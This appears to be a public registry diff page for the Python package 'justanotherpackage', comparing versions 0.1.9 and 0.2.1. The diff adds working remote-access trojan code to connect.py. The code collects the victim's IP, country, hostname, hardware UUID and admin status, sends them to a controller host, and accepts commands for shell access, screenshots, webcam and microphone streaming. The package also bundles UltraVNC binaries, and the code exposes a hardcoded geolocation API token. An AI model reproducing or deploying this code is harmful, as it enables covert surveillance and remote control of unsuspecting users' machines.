justanotherpackage 0.1.9__py3-none-any.whl → 0.2.1__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- justanotherpackage/account_type.py +10 -0
- justanotherpackage/connect.py +75 -62
- {justanotherpackage-0.1.9.dist-info → justanotherpackage-0.2.1.dist-info}/METADATA +1 -1
- {justanotherpackage-0.1.9.dist-info → justanotherpackage-0.2.1.dist-info}/RECORD +7 -6
- /justanotherpackage/{core.py → shell.py} +0 -0
- {justanotherpackage-0.1.9.dist-info → justanotherpackage-0.2.1.dist-info}/WHEEL +0 -0
- {justanotherpackage-0.1.9.dist-info → justanotherpackage-0.2.1.dist-info}/top_level.txt +0 -0
justanotherpackage/connect.py
CHANGED
@@ -1,92 +1,105 @@
|
|
1
|
-
|
2
1
|
import socket
|
3
2
|
import time
|
4
3
|
import platform
|
5
|
-
import ctypes
|
6
4
|
import requests
|
7
5
|
from wmi import WMI
|
8
|
-
from .core import create_shell
|
9
6
|
import json
|
7
|
+
import threading
|
8
|
+
from .shell import create_shell
|
9
|
+
from .features.audio import start_audio_stream
|
10
|
+
from .features.terminal import terminal
|
11
|
+
from .features.screenshot import send_screenshot
|
12
|
+
from .features.webcam import send_webcam_stream
|
13
|
+
from .account_type import check_account_type
|
10
14
|
|
11
|
-
def check_account_type():
|
12
|
-
try:
|
13
|
-
if ctypes.windll.shell32.IsUserAnAdmin() != 0:
|
14
|
-
return "Admin"
|
15
|
-
else:
|
16
|
-
return "User"
|
17
|
-
except Exception:
|
18
|
-
return "None"
|
19
|
-
|
20
15
|
def get_client_info():
|
21
16
|
system = platform.system()
|
22
17
|
version = platform.version().split('.')[0]
|
23
18
|
os = f"{system} {version}"
|
24
|
-
|
25
|
-
|
26
|
-
|
27
|
-
|
28
|
-
|
29
|
-
|
19
|
+
try:
|
20
|
+
response = requests.get('https://ipv4.jsonip.com', timeout=5)
|
21
|
+
data = response.json()
|
22
|
+
ip = data.get('ip')
|
23
|
+
response = requests.get(f'https://api.findip.net/{ip}/?token=000e63e9964845a693b5dcd40dfd6a9d', timeout=5)
|
24
|
+
data = response.json()
|
25
|
+
country_en = data['country']['names']['en']
|
26
|
+
except:
|
27
|
+
ip = None
|
28
|
+
country_en = None
|
29
|
+
|
30
|
+
shell, stdout_queue, stderr_queue = create_shell()
|
30
31
|
|
31
|
-
client_info = {
|
32
|
-
"
|
33
|
-
|
34
|
-
|
35
|
-
|
36
|
-
|
37
|
-
|
38
|
-
|
39
|
-
}
|
32
|
+
client_info = {
|
33
|
+
"new_client": {
|
34
|
+
"IP": ip,
|
35
|
+
"PC Name": platform.node(),
|
36
|
+
"PC ID": WMI().Win32_ComputerSystemProduct()[0].UUID,
|
37
|
+
"OS": os,
|
38
|
+
"Account Type": check_account_type(),
|
39
|
+
"Country": country_en,
|
40
|
+
},
|
41
|
+
"shell": shell,
|
42
|
+
"stdout_queue": stdout_queue,
|
43
|
+
"stderr_queue": stderr_queue
|
40
44
|
}
|
41
45
|
return client_info
|
42
46
|
|
43
47
|
def start_connection(HOST, PORT):
|
48
|
+
client_info = None
|
49
|
+
shell = None
|
50
|
+
stdout_queue = None
|
51
|
+
stderr_queue = None
|
52
|
+
|
44
53
|
while True:
|
45
54
|
try:
|
46
55
|
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
47
56
|
client_socket.connect((HOST, PORT))
|
48
|
-
|
49
|
-
|
57
|
+
|
58
|
+
if client_info is None:
|
59
|
+
client_info = get_client_info()
|
60
|
+
shell = client_info.pop('shell')
|
61
|
+
stdout_queue = client_info.pop('stdout_queue')
|
62
|
+
stderr_queue = client_info.pop('stderr_queue')
|
63
|
+
|
64
|
+
client_info_json = json.dumps(client_info)
|
65
|
+
client_socket.sendall(client_info_json.encode('utf-8'))
|
50
66
|
|
51
67
|
while True:
|
52
68
|
data = client_socket.recv(1024).decode('utf-8').strip()
|
53
69
|
if not data:
|
54
70
|
break
|
55
71
|
|
56
|
-
|
57
|
-
|
58
|
-
|
59
|
-
|
60
|
-
|
61
|
-
|
62
|
-
|
63
|
-
|
64
|
-
|
65
|
-
|
66
|
-
def terminal(data, client_socket):
|
67
|
-
shell, stdout_queue, stderr_queue = create_shell()
|
68
|
-
|
69
|
-
if isinstance(data, str):
|
70
|
-
try:
|
71
|
-
data = json.loads(data)
|
72
|
-
except json.JSONDecodeError:
|
73
|
-
data = data
|
74
|
-
else:
|
75
|
-
data = json.dumps(data)
|
76
|
-
|
77
|
-
data = data["terminal"]
|
72
|
+
try:
|
73
|
+
data = json.loads(data)
|
74
|
+
except json.JSONDecodeError:
|
75
|
+
continue
|
76
|
+
|
77
|
+
if data.get("audiostream") is not None:
|
78
|
+
thread = threading.Thread(target=start_audio_stream, args=(client_socket,))
|
79
|
+
thread.daemon = True
|
80
|
+
thread.start()
|
78
81
|
|
79
|
-
|
80
|
-
|
82
|
+
elif data.get("terminal") is not None:
|
83
|
+
thread = threading.Thread(target=terminal, args=(data, client_socket, shell, stdout_queue, stderr_queue))
|
84
|
+
thread.daemon = True
|
85
|
+
thread.start()
|
81
86
|
|
82
|
-
|
83
|
-
|
87
|
+
elif data.get("screenshot") is not None:
|
88
|
+
thread = threading.Thread(target=send_screenshot, args=(client_socket,))
|
89
|
+
thread.daemon = True
|
90
|
+
thread.start()
|
84
91
|
|
85
|
-
|
86
|
-
|
87
|
-
|
88
|
-
|
89
|
-
output += stderr_queue.get_nowait()
|
92
|
+
elif data.get("webcam") is not None:
|
93
|
+
thread = threading.Thread(target=send_webcam_stream, args=(client_socket,))
|
94
|
+
thread.daemon = True
|
95
|
+
thread.start()
|
90
96
|
|
91
|
-
|
92
|
-
|
97
|
+
except (socket.error, ConnectionResetError):
|
98
|
+
time.sleep(1)
|
99
|
+
continue
|
100
|
+
except Exception as e:
|
101
|
+
time.sleep(1)
|
102
|
+
continue
|
103
|
+
finally:
|
104
|
+
if client_socket:
|
105
|
+
client_socket.close()
|
@@ -1,6 +1,7 @@
|
|
1
1
|
justanotherpackage/__init__.py,sha256=r0rWIFMfaD0Y2XGViT_OZXY4dIk155FtyS0zsWVW7FE,37
|
2
|
-
justanotherpackage/
|
3
|
-
justanotherpackage/
|
2
|
+
justanotherpackage/account_type.py,sha256=YH4zvnWs4EmFXjeMGuyNtMf86PeQgY2U22yt2V8TIAo,224
|
3
|
+
justanotherpackage/connect.py,sha256=0p2MG1XxOeSM16guKbHLr9HFLJOTFcJiFeJMnCQP33Q,3692
|
4
|
+
justanotherpackage/shell.py,sha256=LKTdIlJfjL--2ngOsnU3ggDKQCVMdNi2QrCUH4oztR4,845
|
4
5
|
justanotherpackage/vnc/SecureVNCPlugin.dsm,sha256=-nHLmtiKMdeYEYOtOTmFGTzPnDa_xe51z6KM2l1ONnI,2302408
|
5
6
|
justanotherpackage/vnc/UltraVNC.ini,sha256=gPymSJUXr65PgHPJ-99bdmp7pEsTgdn5PnO14IG8hXU,1409
|
6
7
|
justanotherpackage/vnc/ddengine.dll,sha256=dqoyD-ujCoZePa4ep6FHAvZWz80PpS33sgx1zytD7M8,259016
|
@@ -10,7 +11,7 @@ justanotherpackage/vnc/winvnc.exe,sha256=P7OO77jbTVK-Qo-syKJCmXqyrVio0ImAp2iMm_C
|
|
10
11
|
justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.dll,sha256=_52Pf8LD9dCvr2926H1B_uq_VPrL4m3FlmGniDDzKXI,47744
|
11
12
|
justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.inf,sha256=9hXCZOGgSloYxiwIyruevo922WSwShERafdskDbyYN0,3890
|
12
13
|
justanotherpackage/vnc/UVncVirtualDisplay/uvncvirtualdisplay.cat,sha256=EQXgWZOrTqjv1kdf_rggkbphOH4tT1Ma5cYJfpv1MNM,8560
|
13
|
-
justanotherpackage-0.1.
|
14
|
-
justanotherpackage-0.1.
|
15
|
-
justanotherpackage-0.1.
|
16
|
-
justanotherpackage-0.1.
|
14
|
+
justanotherpackage-0.2.1.dist-info/METADATA,sha256=IFxtUkjD-0fWFDi33EHnpuNWOwnDIFoMV4nkmFFQq5k,115
|
15
|
+
justanotherpackage-0.2.1.dist-info/WHEEL,sha256=In9FTNxeP60KnTkGw7wk6mJPYd_dQSjEZmXdBdMCI-8,91
|
16
|
+
justanotherpackage-0.2.1.dist-info/top_level.txt,sha256=TYPvm7Vn_5xwf6F2gJkqghqm656FdzsEtV8d4p9I47g,19
|
17
|
+
justanotherpackage-0.2.1.dist-info/RECORD,,
|
File without changes
|
File without changes
|
File without changes
|